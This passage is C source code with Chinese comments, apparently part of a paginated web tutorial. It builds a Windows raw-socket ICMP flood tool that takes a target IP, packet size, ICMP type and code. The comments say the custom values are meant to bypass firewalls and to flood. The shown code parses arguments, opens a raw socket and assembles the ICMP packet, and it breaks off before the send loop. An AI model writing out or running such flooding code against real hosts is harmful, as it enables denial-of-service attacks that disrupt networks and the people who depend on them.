gv[0]); //允许用户自定义数据包大小、类型、代码,用以绕过一些防火墙或做一些特殊的报文Flood exit(0); } strcpy(DestIp,argv[1]); if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小 if (PacketSize>65500) { printf("Packet size must less than 65500\n"); //太大会无法生成IP数据报的 exit(0); }
if (argc>3) type=atoi(argv[3]); //取得类型值 if (type>16) { printf("Type must less than 16\n"); exit(0); }
if (argc>4) code=atoi(argv[4]); //取得代码值
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) { fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); exit(0); }
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { fprintf(stderr,"WSASocket failed: %d\n",WSAGetLastError()); exit(0); } flag=TRUE;
{
//设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); exit(1); }
//主要代码开始 printf("Dest:%s packet:%d type:%d code:%d\n\n",argv[1],PacketSize,type,code); printf("Starting...\n\n"); //视觉效果:P memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构 //填充ICMP首部 icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; //校验和置0 icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); //时间戳 icmp_header.i_seq=999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); //组合ICMP报文和头部 memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); //用E填充ICMP数据 icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); // 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 |